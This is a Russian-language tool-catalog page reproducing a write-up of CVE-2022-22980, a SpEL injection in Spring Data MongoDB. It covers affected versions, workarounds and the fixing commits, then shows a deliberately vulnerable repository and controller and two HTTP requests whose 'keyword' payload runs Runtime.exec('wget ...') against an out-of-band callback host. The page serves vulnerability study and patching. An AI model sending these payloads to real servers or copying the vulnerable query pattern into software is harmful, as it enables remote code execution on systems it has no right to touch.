Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-22980 — [CVE-2022-22980] Spring Data MongoDB SpEL инъекция выражений | Kitploit
Инструменты/GitHubGitHub/murataydemir/cve-2022-22980
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеБезопасность Баз Данных
GitHubmurataydemir/cve-2022-22980

CVE-2022-22980

[CVE-2022-22980] Spring Data MongoDB SpEL инъекция выражений

Репозиторий
5114 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

[CVE-2022-22980] Внедрение SpEL-выражений в Spring Data MongoDB


MongoDB — это документо-ориентированная NoSQL-база данных, отличающаяся масштабируемостью и гибкостью и используемая для хранения больших объёмов данных. Вместо таблиц и строк, как в традиционных реляционных базах данных, MongoDB использует коллекции и документы. Документы состоят из пар «ключ-значение», которые являются базовой единицей данных в MongoDB.

Spring Data for MongoDB — часть зонтичного проекта Spring Data, который предназначен для предоставления знакомой и согласованной модели программирования на основе Spring для новых хранилищ данных с сохранением специфических для хранилища функций и возможностей. Проект Spring Data MongoDB обеспечивает интеграцию с документо-ориентированной базой данных MongoDB. Ключевыми функциональными областями Spring Data MongoDB являются модель, ориентированная на POJO, для взаимодействия с DBCollection MongoDB и простое создание репозитория в стиле уровня доступа к данным.

20 июня 2022 года VMware опубликовала на своём официальном сайте рекомендации по безопасности, касающиеся уязвимости внедрения SpEL-выражений (приводящей к удалённому выполнению кода), затрагивающей Spring Data MongoDB. Подробную информацию об уязвимости CVE-2022-22980 вы можете найти ниже.

Уязвимость
Приложение Spring Data MongoDB уязвимо к внедрению SpEL при использовании методов запросов, аннотированных @Query или , с SpEL-выражениями, содержащими заполнители параметров запроса для привязки значений, если входные данные не санитизируются. Кроме того, конфигурации, которые предоставляют методы репозитория без привлечения дополнительного кода приложения (например, Spring Data REST), также уязвимы. В частности, приложение уязвимо, когда выполняются все следующие условия:

@Aggregation


  • метод запроса репозитория аннотирован @Query или @Aggregation, использующими SpEL (Spring Expression Language), и ссылки на входные параметры (?0, ?1, …) применяются внутри SpEL-выражения
  • аннотированное значение/конвейер запроса или агрегации содержит части SpEL, использующие синтаксис заполнителей параметров внутри выражения
  • предоставленные пользователем входные данные не санитизируются приложением
  • Spring Data MongoDB 3.4.0, 3.3.0–3.3.4 и более старые версии

Приложение не уязвимо, если выполняется любое из следующих условий:

  • аннотированный метод запроса или агрегации репозитория не содержит выражений
  • аннотированный метод запроса или агрегации репозитория не использует синтаксис заполнителей параметров внутри выражения
  • предоставленные пользователем входные данные санитизируются приложением
  • репозиторий настроен на использование QueryMethodEvaluationContextProvider, который ограничивает использование SpEL

Затронутые версии
Spring Data MongoDB 3.4.0, 3.3.0–3.3.4 и более старые версии подвержены уязвимости CVE-2022-22980 Spring Data MongoDB SpEL Expression Injection.

Статус
Выпущены Spring Data MongoDB 3.4.1 и 3.3.5, содержащие исправления.

Смягчение уязвимости и рекомендуемые обходные пути
Предпочтительное решение — обновление до Spring Data MongoDB 3.4.1 и 3.3.5 или новее. Если вы это сделали, дополнительные обходные пути не нужны. Однако некоторые могут оказаться в ситуации, когда быстрое обновление невозможно. По этой причине команда Spring предоставила несколько обходных путей ниже.

  • Использование синтаксиса массивов: если приложению требуются динамические SpEL-выражения, управляемые пользовательским вводом, перепишите объявления запросов или агрегаций, чтобы использовать ссылки на параметры ([0] вместо ?0) внутри выражения
  • Реализация пользовательского метода репозитория: замена SpEL-выражения реализацией пользовательского метода репозитория — жизнеспособный обходной путь для сборки динамического запроса в коде приложения. Дополнительные сведения см. в справочной документации по настройке репозиториев.
  • Санитизируйте параметры перед вызовом метода запроса

Анализ исправления: проблема на GitHub и связанные коммиты
Проблема GitHub, связанная с уязвимостью внедрения SpEL, доступна по адресу github.com/spring-projects/spring-data-mongodb/issues/4089.
С помощью двух приведённых ниже коммитов соответствующая уязвимость была исправлена.

  • 7c5ac764b343d45e5d0abbaba4e82395b471b4c4
  • 5e241c6ea55939c9587fad5058a07d7b3f0ccbd3

Вместе с этими коммитами был добавлен класс spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/EvaluationContextExpressionEvaluator.java.

root@kitploit:~
class EvaluationContextExpressionEvaluator implements SpELExpressionEvaluator {

	ValueProvider valueProvider;
	ExpressionParser expressionParser;
	Supplier<EvaluationContext> evaluationContext;

	public EvaluationContextExpressionEvaluator(ValueProvider valueProvider, ExpressionParser expressionParser,
			Supplier<EvaluationContext> evaluationContext) {

		this.valueProvider = valueProvider;
		this.expressionParser = expressionParser;
		this.evaluationContext = evaluationContext;
	}

	@Nullable
	@Override
	public <T> T evaluate(String expression) {
		return evaluateExpression(expression, Collections.emptyMap());
	}

	public EvaluationContext getEvaluationContext(String expressionString) {
		return evaluationContext != null ? evaluationContext.get() : new StandardEvaluationContext();
	}

	public SpelExpression getParsedExpression(String expressionString) {
		return (SpelExpression) (expressionParser != null ? expressionParser : new SpelExpressionParser())
				.parseExpression(expressionString);
	}

	public <T> T evaluateExpression(String expressionString, Map<String, Object> variables) {

		SpelExpression expression = getParsedExpression(expressionString);
		EvaluationContext ctx = getEvaluationContext(expressionString);
		variables.entrySet().forEach(entry -> ctx.setVariable(entry.getKey(), entry.getValue()));

		Object result = expression.getValue(ctx, Object.class);
		return (T) result;
	}
}

Скриншот 2022-06-28 102025

Класс spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java также был изменён следующим образом:

Скриншот 2022-06-28 105719

Финальная (исправленная) версия класса spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java выглядит следующим образом:

root@kitploit:~
package org.springframework.data.mongodb.util.json;

import java.util.Map;
import java.util.function.Function;
import java.util.function.Supplier;

import org.springframework.data.mapping.model.SpELExpressionEvaluator;
import org.springframework.data.spel.ExpressionDependencies;
import org.springframework.data.util.Lazy;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.lang.Nullable;

/**
 * Reusable context for binding parameters to a placeholder or a SpEL expression within a JSON structure. <br />
 * To be used along with {@link ParameterBindingDocumentCodec#decode(String, ParameterBindingContext)}.
 *
 * @author Christoph Strobl
 * @author Mark Paluch
 * @since 2.2
 */
public class ParameterBindingContext {

	private final ValueProvider valueProvider;
	private final SpELExpressionEvaluator expressionEvaluator;

	/**
	 * @param valueProvider
	 * @param expressionParser
	 * @param evaluationContext
	 */
	public ParameterBindingContext(ValueProvider valueProvider, SpelExpressionParser expressionParser,
			EvaluationContext evaluationContext) {
		this(valueProvider, expressionParser, () -> evaluationContext);
	}

	/**
	 * @param valueProvider
	 * @param expressionParser
	 * @param evaluationContext a {@link Supplier} for {@link Lazy} context retrieval.
	 * @since 2.2.3
	 */
	public ParameterBindingContext(ValueProvider valueProvider, ExpressionParser expressionParser,
			Supplier<EvaluationContext> evaluationContext) {
		this(valueProvider, new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, evaluationContext));
	}

	/**
	 * @param valueProvider
	 * @param expressionEvaluator
	 * @since 3.1
	 */
	public ParameterBindingContext(ValueProvider valueProvider, SpELExpressionEvaluator expressionEvaluator) {
		this.valueProvider = valueProvider;
		this.expressionEvaluator = expressionEvaluator;
	}

	/**
	 * Create a new {@link ParameterBindingContext} that is capable of expression parsing and can provide a
	 * {@link EvaluationContext} based on {@link ExpressionDependencies}.
	 *
	 * @param valueProvider
	 * @param expressionParser
	 * @param contextFunction
	 * @return
	 * @since 3.1
	 */
	public static ParameterBindingContext forExpressions(ValueProvider valueProvider, ExpressionParser expressionParser,
			Function<ExpressionDependencies, EvaluationContext> contextFunction) {

		return new ParameterBindingContext(valueProvider,
				new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, null) {

					@Override
					public EvaluationContext getEvaluationContext(String expressionString) {

						Expression expression = getParsedExpression(expressionString);
						ExpressionDependencies dependencies = ExpressionDependencies.discover(expression);
						return contextFunction.apply(dependencies);
					}
				});
	}

	@Nullable
	public Object bindableValueForIndex(int index) {
		return valueProvider.getBindableValue(index);
	}

	@Nullable
	public Object evaluateExpression(String expressionString) {
		return expressionEvaluator.evaluate(expressionString);
	}

	@Nullable
	public Object evaluateExpression(String expressionString, Map<String, Object> variables) {

		if (expressionEvaluator instanceof EvaluationContextExpressionEvaluator) {
			return ((EvaluationContextExpressionEvaluator) expressionEvaluator).evaluateExpression(expressionString,
					variables);
		}
		return expressionEvaluator.evaluate(expressionString);
	}

	public ValueProvider getValueProvider() {
		return valueProvider;
	}
}

Благодаря переработке класса ParameterBindingJsonReader.java также гарантируется сохранение типа параметра при привязке параметров, используемых в значении аннотации Query или Aggregation. Изменения коммитов можно увидеть на скриншотах ниже для класса ParameterBindingJsonReader.java:

Скриншот 2022-06-28 145001

Скриншот 2022-06-28 145043

Скриншот 2022-06-28 145303

Шаги эксплуатации
Прежде чем объяснять шаги эксплуатации, показан класс UserRepository.java примера уязвимого проекта (с использованием аннотации @Query):

root@kitploit:~
package com.example.mongodb.repository;

import org.springframework.data.mongodb.repository.MongoRepository;

import com.example.mongodb.model.User;
import org.springframework.data.mongodb.repository.Query;

public interface UserRepository extends MongoRepository<User, String> {

   @Query("{ 'userName' : ?#{?0}}")
   public User findByUserNameLike(String userName);
}

Пример класса контроллера UserController.java, который импортирует пространство имён com.example.mongodb.repository.UserRepository, также показан ниже:

root@kitploit:~
package com.example.mongodb.controller;

import com.example.mongodb.model.User;
import com.example.mongodb.repository.UserRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.http.HttpStatus;

import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;

@RestController
@RequestMapping("/v1/user")
public class UserController {

   @Autowired
   private UserRepository userRepository;

   @ResponseStatus(HttpStatus.CREATED)
   @PostMapping(consumes = MediaType.APPLICATION_JSON_VALUE)
   public User createUser(@RequestBody User user) {
      return userRepository.save(user);
   }

   @PostMapping(value="/get")
   public User readUserById(@RequestParam("keyword") String id) throws UnsupportedEncodingException {
      return userRepository.findByUserNameLike(URLDecoder.decode(id, "utf-8"));
   }

Запрос и ответ эксплуатации

root@kitploit:~
POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

keyword=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('wget+98fj4ailoo81u7rkveuwur8hf8l09p.oastify.com/CVE-2022-22980')
root@kitploit:~
HTTP/1.1 500 
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:21:20 GMT
Connection: close
Content-Length: 112

{
  "timestamp": "2022-06-22T14:21:20.604+00:00",
  "status": 500,
  "error": "Internal Server Error",
  "path": "/v1/user/get"
}

1 2 Скриншот 2022-06-22 162712

root@kitploit:~
POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 116

keyword=T(java.lang.Runtime).getRuntime().exec('wget+og8ycpq0w3gg2mzz3t2b26gwnntgh5.oastify.com/CVE-2022-22980')
root@kitploit:~
HTTP/1.1 500 
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:36:10 GMT
Connection: close
Content-Length: 112

{
  "timestamp": "2022-06-22T14:36:10.827+00:00",
  "status": 500,
  "error": "Internal Server Error",
  "path": "/v1/user/get"
}

4 5 Скриншот 2022-06-22 164810

Для получения дополнительной информации об устранении этой уязвимости посетите следующие ресурсы:

  • Рекомендации VMware: уязвимость внедрения SpEL-выражений в Spring Data MongoDB через аннотированные методы запросов репозитория (CVE-2022-22980)
  • Рекомендации Tenable: CVE-2022-22980
  • Рекомендации Spring: уязвимость внедрения SpEL-выражений в Spring Data MongoDB (CVE-2022-22980)
  • База данных рекомендаций GitHub: внедрение SpEL в Spring Data MongoDB
  • Рекомендации NIST: CVE-2022-22980
  • Рекомендации MITRE: CVE-2022-22980

Благодарности:

  • Эта проблема была обнаружена и ответственно сообщена Zewei Zhang из NSFOCUS TIANJI Lab.
  • github.com/kuron3k0/Spring-Data-Mongodb-Example
  • github.com/trganda/CVE-2022-22980
  • github.com/li8u99/Spring-Data-Mongodb-Demo
  • github.com/jweny/cve-2022-22980-exp
Скачать инструмент